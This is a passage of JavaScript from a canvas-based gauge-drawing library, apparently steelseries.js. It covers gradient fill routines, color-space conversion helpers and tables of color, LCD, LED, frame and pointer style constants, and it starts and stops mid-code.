Math.atan2(dx, dy); for (i = 0; i < limit; i++) { if (angle >= fractions[i] && angle < fractions[i + 1]) { pixColor = getColorFromFraction(colors[i], colors[i + 1], fractions[i + 1] - fractions[i], angle - fractions[i], true); } } // The pixel array is addressed as 4 elements per pixel [r,g,b,a] indx = ((diameter - y) * diameter * 4) + (x * 4); // plot is 180 rotated from orginal method, so apply a simple invert (diameter - y) pixels.data[indx] = pixColor[0]; pixels.data[indx + 1] = pixColor[1]; pixels.data[indx + 2] = pixColor[2]; pixels.data[indx + 3] = alpha; } } } // Create a new buffer to apply the raw data so we can rotate it buffer = createBuffer(diameter, diameter); bufferCtx = buffer.getContext('2d'); bufferCtx.putImageData(pixels, 0, 0); // Apply the image buffer ctx.drawImage(buffer, centerX - radius, centerY - radius); }; this.fillRect = function (ctx, centerX, centerY, width, height, thicknessX, thicknessY) { var angle, width2, height2, pixels, alpha, x, y, dx, dy, indx, pixColor, buffer, bufferCtx; width = Math.ceil(width); height = Math.ceil(height); width2 = width / 2; height2 = height / 2; thicknessX = Math.ceil(thicknessX); thicknessY = Math.ceil(thicknessY); // Create pixel array pixels = ctx.createImageData(width, height); alpha = 255; for (y = 0; y < height; y++) { dy = height2 - y; for (x = 0; x < width; x++) { if (y > thicknessY && y <= height - thicknessY) { // we are in the range where we only draw the sides if (x > thicknessX && x < width - thicknessX) { // we are in the empty 'middle', jump to the next edge x = width - thicknessX; } } dx = x - width2; angle = Math.atan2(dx, dy); for (i = 0; i < limit; i++) { if (angle >= fractions[i] && angle < fractions[i + 1]) { pixColor = getColorFromFraction(colors[i], colors[i + 1], fractions[i + 1] - fractions[i], angle - fractions[i], true); } } // The pixel array is addressed as 4 elements per pixel [r,g,b,a] indx = ((height - y) * width * 4) + (x * 4); // plot is 180 rotated from orginal method, so apply a simple invert (height - y) pixels.data[indx] = pixColor[0]; pixels.data[indx + 1] = pixColor[0]; pixels.data[indx + 2] = pixColor[0]; pixels.data[indx + 3] = alpha; } } // Create a new buffer to apply the raw data so we can clip it when drawing to canvas buffer = createBuffer(width, height); bufferCtx = buffer.getContext('2d'); bufferCtx.putImageData(pixels, 0, 0); // draw the buffer back to the canvas ctx.drawImage(buffer, centerX - width2, centerY - height2); }; }; var GradientWrapper = function (start, end, fractions, colors) { this.getColorAt = function (fraction) { var lowerLimit = 0, lowerIndex = 0, upperLimit = 1, upperIndex = 1, i, interpolationFraction; fraction = (fraction < 0 ? 0 : (fraction > 1 ? 1 : fraction)); for (i = 0; i < fractions.length; i++) { if (fractions[i] < fraction && lowerLimit < fractions[i]) { lowerLimit = fractions[i]; lowerIndex = i; } if (fractions[i] === fraction) { return colors[i]; } if (fractions[i] > fraction && upperLimit >= fractions[i]) { upperLimit = fractions[i]; upperIndex = i; } } interpolationFraction = (fraction - lowerLimit) / (upperLimit - lowerLimit); return getColorFromFraction(colors[lowerIndex], colors[upperIndex], 1, interpolationFraction); }; this.getStart = function () { return start; }; this.getEnd = function () { return end; }; }; function setAlpha(hex, alpha) { var hexColor = ('#' === hex.charAt(0)) ? hex.substring(1, 7) : hex, red = parseInt((hexColor).substring(0, 2), 16), green = parseInt((hexColor).substring(2, 4), 16), blue = parseInt((hexColor).substring(4, 6), 16), color = 'rgba(' + red + ',' + green + ',' + blue + ',' + alpha + ')'; return color; } function getColorFromFraction(sourceColor, destinationColor, range, fraction, returnRawData) { var INT_TO_FLOAT = 1 / 255, sourceRed = sourceColor.getRed(), sourceGreen = sourceColor.getGreen(), sourceBlue = sourceColor.getBlue(), sourceAlpha = sourceColor.getAlpha(), deltaRed = destinationColor.getRed() - sourceRed, deltaGreen = destinationColor.getGreen() - sourceGreen, deltaBlue = destinationColor.getBlue() - sourceBlue, deltaAlpha = destinationColor.getAlpha() * INT_TO_FLOAT - sourceAlpha * INT_TO_FLOAT, fractionRed = deltaRed / range * fraction, fractionGreen = deltaGreen / range * fraction, fractionBlue = deltaBlue / range * fraction, fractionAlpha = deltaAlpha / range * fraction; returnRawData = returnRawData || false; if (returnRawData) { return [(sourceRed + fractionRed).toFixed(0), (sourceGreen + fractionGreen).toFixed(0), (sourceBlue + fractionBlue).toFixed(0), sourceAlpha + fractionAlpha]; } else { return new RgbaColor((sourceRed + fractionRed).toFixed(0), (sourceGreen + fractionGreen).toFixed(0), (sourceBlue + fractionBlue).toFixed(0), sourceAlpha + fractionAlpha); } } function section(start, stop, color) { return {start : start, stop : stop, color : color}; } Math.log10 = function (value) { return (Math.log(value) / Math.LN10); }; function calcNiceNumber(range, round) { var exponent = Math.floor(Math.log10(range)), // exponent of range fraction = range / Math.pow(10, exponent), // fractional part of range niceFraction; // nice, rounded fraction if (round) { if (1.5 > fraction) { niceFraction = 1; } else if (3 > fraction) { niceFraction = 2; } else if (7 > fraction) { niceFraction = 5; } else { niceFraction = 10; } } else { if (1 >= fraction) { niceFraction = 1; } else if (2 >= fraction) { niceFraction = 2; } else if (5 >= fraction) { niceFraction = 5; } else { niceFraction = 10; } } return niceFraction * Math.pow(10, exponent); } function roundedRectangle(ctx, x, y, w, h, radius) { var r = x + w, b = y + h; ctx.beginPath(); ctx.moveTo(x + radius, y); ctx.lineTo(r - radius, y); ctx.quadraticCurveTo(r, y, r, y + radius); ctx.lineTo(r, y + h - radius); ctx.quadraticCurveTo(r, b, r - radius, b); ctx.lineTo(x + radius, b); ctx.quadraticCurveTo(x, b, x, b - radius); ctx.lineTo(x, y + radius); ctx.quadraticCurveTo(x, y, x + radius, y); ctx.closePath(); // ctx.stroke(); } function createBuffer(width, height) { var buffer = doc.createElement('canvas'); buffer.width = width; buffer.height = height; return buffer; } function drawToBuffer(width, height, drawFunction) { var buffer = doc.createElement('canvas'); buffer.width = width; buffer.height = height; drawFunction(buffer.getContext('2d')); return buffer; } function getColorValues(color) { var colorData, lookupBuffer = drawToBuffer(1, 1, function (ctx) { ctx.fillStyle = color; ctx.beginPath(); ctx.rect(0, 0, 1, 1); ctx.fill(); }); colorData = lookupBuffer.getContext('2d').getImageData(0, 0, 2, 2).data; /* for (var i = 0; i < data.length; i += 4) { var red = data[i]; // red var green = data[i + 1]; // green var blue = data[i + 2]; // blue //var alpha = data[i + 3]; // alpha console.log(red + ', ' + green + ', ' + blue); } */ return [colorData[0], colorData[1], colorData[2], colorData[3]]; } function customColorDef(color) { var VERY_DARK, DARK, LIGHT, LIGHTER, VERY_LIGHT, values = getColorValues(color), rgbaCol = new RgbaColor(values[0], values[1], values[2], values[3]); VERY_DARK = darker(rgbaCol, 0.32); DARK = darker(rgbaCol, 0.62); LIGHT = lighter(rgbaCol, 0.84); LIGHTER = lighter(rgbaCol, 0.94); VERY_LIGHT = lighter(rgbaCol, 1); return new ColorDef(VERY_DARK, DARK, rgbaCol, LIGHT, LIGHTER, VERY_LIGHT); } function rgbToHsl(red, green, blue) { var min, max, hue, saturation, lightness, delta; red /= 255; green /= 255; blue /= 255; max = Math.max(red, green, blue); min = Math.min(red, green, blue); lightness = (max + min) / 2; if (max === min) { hue = saturation = 0; // achromatic } else { delta = max - min; saturation = lightness > 0.5 ? delta / (2 - max - min) : delta / (max + min); switch (max) { case red: hue = (green - blue) / delta + (green < blue ? 6 : 0); break; case green: hue = (blue - red) / delta + 2; break; case blue: hue = (red - green) / delta + 4; break; } hue /= 6; } return [hue, saturation, lightness]; } /* These functions are not currently used function hslToRgb(hue, saturation, lightness) { var red, green, blue, p, q; function hue2rgb(p, q, t) { if (t < 0) { t += 1; } if (t > 1) { t -= 1; } if (t < 1 / 6) { return p + (q - p) * 6 * t; } if (t < 1 / 2) { return q; } if (t < 2 / 3) { return p + (q - p) * (2 / 3 - t) * 6; } return p; } if (saturation === 0) { red = green = blue = lightness; // achromatic } else { q = (lightness < 0.5 ? lightness * (1 + saturation) : lightness + saturation - lightness * saturation); p = 2 * lightness - q; red = hue2rgb(p, q, hue + 1 / 3); green = hue2rgb(p, q, hue); blue = hue2rgb(p, q, hue - 1 / 3); } return [Math.floor(red * 255), Math.floor(green * 255), Math.floor(blue * 255)]; } function hsbToHsl(hue, saturation, brightness) { var lightness = (brightness - saturation) / 2; lightness = range(lightness, 1); return [hue, saturation, lightness]; } function hslToHsb(hue, saturation, lightness) { var brightness = (lightness * 2) + saturation; return [hue, saturation, brightness]; } */ function hsbToRgb(hue, saturation, brightness) { var r, g, b, i = Math.floor(hue * 6), f = hue * 6 - i, p = brightness * (1 - saturation), q = brightness * (1 - f * saturation), t = brightness * (1 - (1 - f) * saturation); switch (i % 6) { case 0: r = brightness; g = t; b = p; break; case 1: r = q; g = brightness; b = p; break; case 2: r = p; g = brightness; b = t; break; case 3: r = p; g = q; b = brightness; break; case 4: r = t; g = p; b = brightness; break; case 5: r = brightness; g = p; b = q; break; } return [Math.floor(r * 255), Math.floor(g * 255), Math.floor(b * 255)]; } function rgbToHsb(r, g, b) { var min, max, hue, saturation, brightness, delta; r = r / 255; g = g / 255; b = b / 255; max = Math.max(r, g, b); min = Math.min(r, g, b); brightness = max; delta = max - min; saturation = max === 0 ? 0 : delta / max; if (max === min) { hue = 0; // achromatic } else { switch (max) { case r: hue = (g - b) / delta + (g < b ? 6 : 0); break; case g: hue = (b - r) / delta + 2; break; case b: hue = (r - g) / delta + 4; break; } hue /= 6; } return [hue, saturation, brightness]; } function range(value, limit) { return (value < 0 ? 0 : (value > limit ? limit : value)); } function darker(color, fraction) { var red = Math.floor(color.getRed() * (1 - fraction)), green = Math.floor(color.getGreen() * (1 - fraction)), blue = Math.floor(color.getBlue() * (1 - fraction)); red = range(red, 255); green = range(green, 255); blue = range(blue, 255); return new RgbaColor(red, green, blue, color.getAlpha()); } function lighter(color, fraction) { var red = Math.round(color.getRed() * (1 + fraction)), green = Math.round(color.getGreen() * (1 + fraction)), blue = Math.round(color.getBlue() * (1 + fraction)); red = range(red, 255); green = range(green, 255); blue = range(blue, 255); return new RgbaColor(red, green, blue, color.getAlpha()); } function wrap(value, lower, upper) { var distance, times; if (upper <= lower) { throw 'Rotary bounds are of negative or zero size'; } distance = upper - lower; times = Math.floor((value - lower) / distance); return value - (times * distance); } function getShortestAngle(from, to) { return wrap((to - from), -180, 180); } // shim layer var requestAnimFrame = (function () { return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function (callback) { window.setTimeout(callback, 1000 / 16); }; }()); function getCanvasContext(elementOrId) { var element = (typeof elementOrId === 'string' || elementOrId instanceof String) ? doc.getElementById(elementOrId) : elementOrId; return element.getContext('2d'); } /* function blur(ctx, width, height, radius) { // This function is too CPU expensive // leave disabled for now :( // Cheap'n'cheerful blur filter, just applies horizontal and vertical blurs // Only works for square canvas's at present var j, x, y, // loop counters i, end, totR, totG, totB, totA, // Create a temporary buffer tempBuffer = createBuffer(width, height), tempCtx = tempBuffer.getContext('2d'), // pixel data inPix, outPix, mul, indx; ctx.save(); for (j = 0; j < 2; j++) { // Get access to the pixel data inPix = ctx.getImageData(0, 0, (j === 0 ? width : height), (j === 0 ? height : width)); outPix = ctx.createImageData((j === 0 ? width : height), (j === 0 ? height : width)); if (j === 0) { // Horizontal blur if (radius >= width) { radius = width - 1; } } else { // Vertical blur if (radius >= height) { radius = height - 1; } } mul = 1 / (radius * 2 + 1); indx = 0; for (y = 0, end = (j === 0 ? height : width); y < end; y++) { totR = totG = totB = totA = 0; for (x = 0; x < radius ; x++) { i = (indx + x) * 4; totR += inPix.data[i]; totG += inPix.data[i + 1]; totB += inPix.data[i + 2]; totA += inPix.data[i + 3]; } for (x = 0; x < (j === 0 ? width : height); x++) { if (x > radius) { i = (indx - radius - 1) * 4; totR -= inPix.data[i]; totG -= inPix.data[i + 1]; totB -= inPix.data[i + 2]; totA -= inPix.data[i + 3]; } if (x + radius < width) { i = (indx + radius) * 4; totR += inPix.data[i]; totG += inPix.data[i + 1]; totB += inPix.data[i + 2]; totA += inPix.data[i + 3]; } i = indx * 4; outPix.data[i] = (totR * mul) | 0; outPix.data[i + 1] = (totG * mul) | 0; outPix.data[i + 2] = (totB * mul) | 0; outPix.data[i + 3] = (totA * mul) | 0; indx++; } } // Write the output pixel data back to the temp buffer tempCtx.clearRect(0, 0, width, height); tempCtx.putImageData(outPix, 0, 0); if (j === 0) { // Clear the input canvas ctx.clearRect(0, 0, width, height); // Rotate image by 90 degrees ctx.translate(width / 2, height / 2); ctx.rotate(HALF_PI); ctx.translate(-width / 2, -height / 2); // Write the buffer back ctx.drawImage(tempBuffer, 0, 0); } } ctx.translate(width / 2, height / 2); ctx.rotate(-PI); ctx.translate(-width / 2, -height / 2); // Clear the input canvas ctx.clearRect(0, 0, width, height); ctx.drawImage(tempBuffer, 0, 0); ctx.restore(); } */ //**************************************** C O N S T A N T S *************************************************** var BackgroundColorDef; (function () { BackgroundColorDef = function (gradientStart, gradientFraction, gradientStop, labelColor, symbolColor, name) { this.gradientStart = gradientStart; this.gradientFraction = gradientFraction; this.gradientStop = gradientStop; this.labelColor = labelColor; this.symbolColor = symbolColor; this.name = name; }; }()); var LcdColorDef; (function () { LcdColorDef = function (gradientStartColor, gradientFraction1Color, gradientFraction2Color, gradientFraction3Color, gradientStopColor, textColor) { this.gradientStartColor = gradientStartColor; this.gradientFraction1Color = gradientFraction1Color; this.gradientFraction2Color = gradientFraction2Color; this.gradientFraction3Color = gradientFraction3Color; this.gradientStopColor = gradientStopColor; this.textColor = textColor; }; }()); var ColorDef; (function () { ColorDef = function (veryDark, dark, medium, light, lighter, veryLight) { this.veryDark = veryDark; this.dark = dark; this.medium = medium; this.light = light; this.lighter = lighter; this.veryLight = veryLight; }; }()); var LedColorDef; (function () { LedColorDef = function (innerColor1_ON, innerColor2_ON, outerColor_ON, coronaColor, innerColor1_OFF, innerColor2_OFF, outerColor_OFF) { this.innerColor1_ON = innerColor1_ON; this.innerColor2_ON = innerColor2_ON; this.outerColor_ON = outerColor_ON; this.coronaColor = coronaColor; this.innerColor1_OFF = innerColor1_OFF; this.innerColor2_OFF = innerColor2_OFF; this.outerColor_OFF = outerColor_OFF; }; }()); var GaugeTypeDef; (function () { GaugeTypeDef = function (type) { this.type = type; }; }()); var OrientationDef; (function () { OrientationDef = function (type) { this.type = type; }; }()); var KnobTypeDef; (function () { KnobTypeDef = function (type) { this.type = type; }; }()); var KnobStyleDef; (function () { KnobStyleDef = function (style) { this.style = style; }; }()); var FrameDesignDef; (function () { FrameDesignDef = function (design) { this.design = design; }; }()); var PointerTypeDef; (function () { PointerTypeDef = function (type) { this.type = type; }; }()); var ForegroundTypeDef; (function () { ForegroundTypeDef = function (type) { this.type = type; }; }()); var LabelNumberFormatDef; (function () { LabelNumberFormatDef = function (format) { this.format = format; }; }()); var TickLabelOrientationDef; (function () { TickLabelOrientationDef = function (type) { this.type = type; }; }()); var TrendStateDef; (function () { TrendStateDef = function (state) { this.state = state; }; }()); //************************* I m p l e m e n t a t i o n s o f d e f i n i t i o n s ************************ var backgroundColor = { DARK_GRAY: new BackgroundColorDef(new RgbaColor(0, 0, 0, 1), new RgbaColor(51, 51, 51, 1), new RgbaColor(153, 153, 153, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(180, 180, 180, 1), 'DARK_GRAY'), SATIN_GRAY: new BackgroundColorDef(new RgbaColor(45, 57, 57, 1), new RgbaColor(45, 57, 57, 1), new RgbaColor(45, 57, 57, 1), new RgbaColor(167, 184, 180, 1), new RgbaColor(137, 154, 150, 1), 'SATIN_GRAY'), LIGHT_GRAY: new BackgroundColorDef(new RgbaColor(130, 130, 130, 1), new RgbaColor(181, 181, 181, 1), new RgbaColor(253, 253, 253, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'LIGHT_GRAY'), WHITE: new BackgroundColorDef(new RgbaColor(255, 255, 255, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'WHITE'), BLACK: new BackgroundColorDef(new RgbaColor(0, 0, 0, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(150, 150, 150, 1), 'BLACK'), BEIGE: new BackgroundColorDef(new RgbaColor(178, 172, 150, 1), new RgbaColor(204, 205, 184, 1), new RgbaColor(231, 231, 214, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'BEIGE'), BROWN: new BackgroundColorDef(new RgbaColor(245, 225, 193, 1), new RgbaColor(245, 225, 193, 1), new RgbaColor(255, 250, 240, 1), new RgbaColor(109, 73, 47, 1), new RgbaColor(89, 53, 27, 1), 'BROWN'), RED: new BackgroundColorDef(new RgbaColor(198, 93, 95, 1), new RgbaColor(212, 132, 134, 1), new RgbaColor(242, 218, 218, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(90, 0, 0, 1), 'RED'), GREEN: new BackgroundColorDef(new RgbaColor(65, 120, 40, 1), new RgbaColor(129, 171, 95, 1), new RgbaColor(218, 237, 202, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(0, 90, 0, 1), 'GREEN'), BLUE: new BackgroundColorDef(new RgbaColor(45, 83, 122, 1), new RgbaColor(115, 144, 170, 1), new RgbaColor(227, 234, 238, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(0, 0, 90, 1), 'BLUE'), ANTHRACITE: new BackgroundColorDef(new RgbaColor(50, 50, 54, 1), new RgbaColor(47, 47, 51, 1), new RgbaColor(69, 69, 74, 1), new RgbaColor(250, 250, 250, 1), new RgbaColor(180, 180, 180, 1), 'ANTHRACITE'), MUD: new BackgroundColorDef(new RgbaColor(80, 86, 82, 1), new RgbaColor(70, 76, 72, 1), new RgbaColor(57, 62, 58, 1), new RgbaColor(255, 255, 240, 1), new RgbaColor(225, 225, 210, 1), 'MUD'), PUNCHED_SHEET: new BackgroundColorDef(new RgbaColor(50, 50, 54, 1), new RgbaColor(47, 47, 51, 1), new RgbaColor(69, 69, 74, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(180, 180, 180, 1), 'PUNCHED_SHEET'), CARBON: new BackgroundColorDef(new RgbaColor(50, 50, 54, 1), new RgbaColor(47, 47, 51, 1), new RgbaColor(69, 69, 74, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(180, 180, 180, 1), 'CARBON'), STAINLESS: new BackgroundColorDef(new RgbaColor(130, 130, 130, 1), new RgbaColor(181, 181, 181, 1), new RgbaColor(253, 253, 253, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'STAINLESS'), BRUSHED_METAL: new BackgroundColorDef(new RgbaColor(50, 50, 54, 1), new RgbaColor(47, 47, 51, 1), new RgbaColor(69, 69, 74, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'BRUSHED_METAL'), BRUSHED_STAINLESS: new BackgroundColorDef(new RgbaColor(50, 50, 54, 1), new RgbaColor(47, 47, 51, 1), new RgbaColor(110, 110, 112, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'BRUSHED_STAINLESS'), TURNED: new BackgroundColorDef(new RgbaColor(130, 130, 130, 1), new RgbaColor(181, 181, 181, 1), new RgbaColor(253, 253, 253, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(80, 80, 80, 1), 'TURNED') }; var lcdColor = { BEIGE: new LcdColorDef('#c8c8b1', 'rgb(241, 237, 207)', 'rgb(234, 230, 194)', 'rgb(225, 220, 183)', 'rgb(237, 232, 191)', '#000000'), BLUE: new LcdColorDef('#ffffff', 'rgb(231, 246, 255)', 'rgb(170, 224, 255)', 'rgb(136, 212, 255)', 'rgb(192, 232, 255)', '#124564'), ORANGE: new LcdColorDef('#ffffff', 'rgb(255, 245, 225)', 'rgb(255, 217, 147)', 'rgb(255, 201, 104)', 'rgb(255, 227, 173)', '#503700'), RED: new LcdColorDef('#ffffff', 'rgb(255, 225, 225)', 'rgb(253, 152, 152)', 'rgb(252, 114, 115)', 'rgb(254, 178, 178)', '#4f0c0e'), YELLOW: new LcdColorDef('#ffffff', 'rgb(245, 255, 186)', 'rgb(210, 255, 0)', 'rgb(158, 205, 0)', 'rgb(210, 255, 0)', '#405300'), WHITE: new LcdColorDef('#ffffff', '#ffffff', 'rgb(241, 246, 242)', 'rgb(229, 239, 244)', '#ffffff', '#000000'), GRAY: new LcdColorDef('#414141', 'rgb(117, 117, 117)', 'rgb(87, 87, 87)', '#414141', 'rgb(81, 81, 81)', '#ffffff'), BLACK: new LcdColorDef('#414141', '#666666', '#333333', '#000000', '#333333', '#cccccc'), GREEN: new LcdColorDef('rgb(33, 67, 67)', 'rgb(33, 67, 67)', 'rgb(29, 58, 58)', 'rgb(28, 57, 57)', 'rgb(23, 46, 46)', 'rgba(0, 185, 165, 255)'), BLUE2: new LcdColorDef('rgb(0, 68, 103)', 'rgb(8, 109, 165)', 'rgb(0, 72, 117)', 'rgb(0, 72, 117)', 'rgb(0, 68, 103)', 'rgb(111, 182, 228)'), BLUE_BLACK: new LcdColorDef('rgb(22, 125, 212)', 'rgb(3, 162, 254)', 'rgb(3, 162, 254)', 'rgb(3, 162, 254)', 'rgb(11, 172, 244)', '#000000'), BLUE_DARKBLUE: new LcdColorDef('rgb(18, 33, 88)', 'rgb(18, 33, 88)', 'rgb(19, 30, 90)', 'rgb(17, 31, 94)', 'rgb(21, 25, 90)', 'rgb(23, 99, 221)'), BLUE_GRAY: new LcdColorDef('rgb(135, 174, 255)', 'rgb(101, 159, 255)', 'rgb(44, 93, 255)', 'rgb(27, 65, 254)', 'rgb(12, 50, 255)', '#b2b4ed'), STANDARD: new LcdColorDef('rgb(131, 133, 119)', 'rgb(176, 183, 167)', 'rgb(165, 174, 153)', 'rgb(166, 175, 156)', 'rgb(175, 184, 165)', 'rgb(35, 42, 52)'), STANDARD_GREEN: new LcdColorDef('#ffffff', 'rgb(219, 230, 220)', 'rgb(179, 194, 178)', 'rgb(153, 176, 151)', 'rgb(114, 138, 109)', '#080C06'), BLUE_BLUE: new LcdColorDef('rgb(100, 168, 253)', 'rgb(100, 168, 253)', 'rgb(95, 160, 250)', 'rgb(80, 144, 252)', 'rgb(74, 134, 255)', '#002cbb'), RED_DARKRED: new LcdColorDef('rgb(72, 36, 50)', 'rgb(185, 111, 110)', 'rgb(148, 66, 72)', 'rgb(83, 19, 20)', 'rgb(7, 6, 14)', '#FE8B92'), DARKBLUE: new LcdColorDef('rgb(14, 24, 31)', 'rgb(46, 105, 144)', 'rgb(19, 64, 96)', 'rgb(6, 20, 29)', 'rgb(8, 9, 10)', '#3DB3FF'), LILA: new LcdColorDef('rgb(175, 164, 255)', 'rgb(188, 168, 253)', 'rgb(176, 159, 255)', 'rgb(174, 147, 252)', 'rgb(168, 136, 233)', '#076148'), BLACKRED: new LcdColorDef('rgb(8, 12, 11)', 'rgb(10, 11, 13)', 'rgb(11, 10, 15)', 'rgb(7, 13, 9)', 'rgb(9, 13, 14)', '#B50026'), DARKGREEN: new LcdColorDef('rgb(25, 85, 0)', 'rgb(47, 154, 0)', 'rgb(30, 101, 0)', 'rgb(30, 101, 0)', 'rgb(25, 85, 0)', '#233123'), AMBER: new LcdColorDef('rgb(182, 71, 0)', 'rgb(236, 155, 25)', 'rgb(212, 93, 5)', 'rgb(212, 93, 5)', 'rgb(182, 71, 0)', '#593A0A'), LIGHTBLUE: new LcdColorDef('rgb(125, 146, 184)', 'rgb(197, 212, 231)', 'rgb(138, 155, 194)', 'rgb(138, 155, 194)', 'rgb(125, 146, 184)', '#090051'), SECTIONS: new LcdColorDef('#b2b2b2', '#ffffff', '#c4c4c4', '#c4c4c4', '#b2b2b2', '#000000') }; var color = { RED: new ColorDef(new RgbaColor(82, 0, 0, 1), new RgbaColor(158, 0, 19, 1), new RgbaColor(213, 0, 25, 1), new RgbaColor(240, 82, 88, 1), new RgbaColor(255, 171, 173, 1), new RgbaColor(255, 217, 218, 1)), GREEN: new ColorDef(new RgbaColor(8, 54, 4, 1), new RgbaColor(0, 107, 14, 1), new RgbaColor(15, 148, 0, 1), new RgbaColor(121, 186, 37, 1), new RgbaColor(190, 231, 141, 1), new RgbaColor(234, 247, 218, 1)), BLUE: new ColorDef(new RgbaColor(0, 11, 68, 1), new RgbaColor(0, 73, 135, 1), new RgbaColor(0, 108, 201, 1), new RgbaColor(0, 141, 242, 1), new RgbaColor(122, 200, 255, 1), new RgbaColor(204, 236, 255, 1)), ORANGE: new ColorDef(new RgbaColor(118, 83, 30, 1), new RgbaColor(215, 67, 0, 1), new RgbaColor(240, 117, 0, 1), new RgbaColor(255, 166, 0, 1), new RgbaColor(255, 255, 128, 1), new RgbaColor(255, 247, 194, 1)), YELLOW: new ColorDef(new RgbaColor(41, 41, 0, 1), new RgbaColor(102, 102, 0, 1), new RgbaColor(177, 165, 0, 1), new RgbaColor(255, 242, 0, 1), new RgbaColor(255, 250, 153, 1), new RgbaColor(255, 252, 204, 1)), CYAN: new ColorDef(new RgbaColor(15, 109, 109, 1), new RgbaColor(0, 109, 144, 1), new RgbaColor(0, 144, 191, 1), new RgbaColor(0, 174, 239, 1), new RgbaColor(153, 223, 249, 1), new RgbaColor(204, 239, 252, 1)), MAGENTA: new ColorDef(new RgbaColor(98, 0, 114, 1), new RgbaColor(128, 24, 72, 1), new RgbaColor(191, 36, 107, 1), new RgbaColor(255, 48, 143, 1), new RgbaColor(255, 172, 210, 1), new RgbaColor(255, 214, 23, 1)), WHITE: new ColorDef(new RgbaColor(210, 210, 210, 1), new RgbaColor(220, 220, 220, 1), new RgbaColor(235, 235, 235, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(255, 255, 255, 1)), GRAY: new ColorDef(new RgbaColor(25, 25, 25, 1), new RgbaColor(51, 51, 51, 1), new RgbaColor(76, 76, 76, 1), new RgbaColor(128, 128, 128, 1), new RgbaColor(204, 204, 204, 1), new RgbaColor(243, 243, 243, 1)), BLACK: new ColorDef(new RgbaColor(0, 0, 0, 1), new RgbaColor(5, 5, 5, 1), new RgbaColor(10, 10, 10, 1), new RgbaColor(15, 15, 15, 1), new RgbaColor(20, 20, 20, 1), new RgbaColor(25, 25, 25, 1)), RAITH: new ColorDef(new RgbaColor(0, 32, 65, 1), new RgbaColor(0, 65, 125, 1), new RgbaColor(0, 106, 172, 1), new RgbaColor(130, 180, 214, 1), new RgbaColor(148, 203, 242, 1), new RgbaColor(191, 229, 255, 1)), GREEN_LCD: new ColorDef(new RgbaColor(0, 55, 45, 1), new RgbaColor(15, 109, 93, 1), new RgbaColor(0, 185, 165, 1), new RgbaColor(48, 255, 204, 1), new RgbaColor(153, 255, 227, 1), new RgbaColor(204, 255, 241, 1)), JUG_GREEN: new ColorDef(new RgbaColor(0, 56, 0, 1), new RgbaColor(32, 69, 36, 1), new RgbaColor(50, 161, 0, 1), new RgbaColor(129, 206, 0, 1), new RgbaColor(190, 231, 141, 1), new RgbaColor(234, 247, 218, 1)) }; var ledColor = { RED_LED: new LedColorDef('#FF9A89', '#FF9A89', '#FF3300', '#FF8D70', '#7E1C00', '#7E1C00', '#641B00'), GREEN_LED: new LedColorDef('#9AFF89', '#9AFF89', '#59FF2A', '#A5FF00', '#1C7E00', '#1C7E00', '#1B6400'), BLUE_LED: new LedColorDef('#899AFF', '#899AFF', '#0033FF', '#708DFF', '#001C7E', '#001C7E', '#001B64'), ORANGE_LED: new LedColorDef('#FEA23F', '#FEA23F', '#FD6C00', '#FD6C00', '#592800', '#592800', '#421F00'), YELLOW_LED: new LedColorDef('#FFFF62', '#FFFF62', '#FFFF00', '#FFFF00', '#6B6D00', '#6B6D00', '#515300'), CYAN_LED: new LedColorDef('#00FFFF', '#00FFFF', '#1BC3C3', '#00FFFF', '#083B3B', '#083B3B', '#052727'), MAGENTA_LED: new LedColorDef('#D300FF', '#D300FF', '#8600CB', '#C300FF', '#38004B', '#38004B', '#280035') }; var gaugeType = { TYPE1: new GaugeTypeDef('type1'), TYPE2: new GaugeTypeDef('type2'), TYPE3: new GaugeTypeDef('type3'), TYPE4: new GaugeTypeDef('type4'), TYPE5: new GaugeTypeDef('type5') }; var orientation = { NORTH: new OrientationDef('north'), SOUTH: new OrientationDef('south'), EAST: new OrientationDef('east'), WEST: new OrientationDef('west') }; var knobType = { STANDARD_KNOB: new KnobTypeDef('standardKnob'), METAL_KNOB: new KnobTypeDef('metalKnob') }; var knobStyle = { BLACK: new KnobStyleDef('black'), BRASS: new KnobStyleDef('brass'), SILVER: new KnobStyleDef('silver') }; var frameDesign = { BLACK_METAL: new FrameDesignDef('blackMetal'), METAL: new FrameDesignDef('metal'), SHINY_METAL: new FrameDesignDef('shinyMetal'), BRASS: new FrameDesignDef('brass'), STEEL: new FrameDesignDef('steel'), CHROME: new FrameDesignDef('chrome'), GOLD: new FrameDesignDef('gold'), ANTHRACITE: new FrameDesignDef('anthracite'), TILTED_GRAY: new FrameDesignDef('tiltedGray'), TILTED_BLACK: new FrameDesignDef('tiltedBlack'), GLOSSY_METAL: new FrameDesignDef('glossyMetal') }; var pointerType = { TYPE1: new PointerTypeDef('type1'), TYPE2: new PointerTypeDef('type2'), TYPE3: new PointerTypeDef('type3'), TYPE4: new PointerTypeDef('type4'), TYPE5: new PointerTypeDef('type5'), TYPE6: new PointerTypeDef('type6'), TYPE7: new PointerTypeDef('type7'), TYPE8: new PointerTypeDef('type8'), TYPE9: new PointerTypeDef('type9'), TYPE10: new PointerTypeDef('type10'), TYPE11: new PointerTypeDef('type11'), TYPE12: new PointerTypeDef('type12'), TYPE13: new PointerTypeDef('type13'), TYPE14: new PointerTypeDef('type14'), TYPE15: new PointerTypeDef('type15'), TYPE16: new 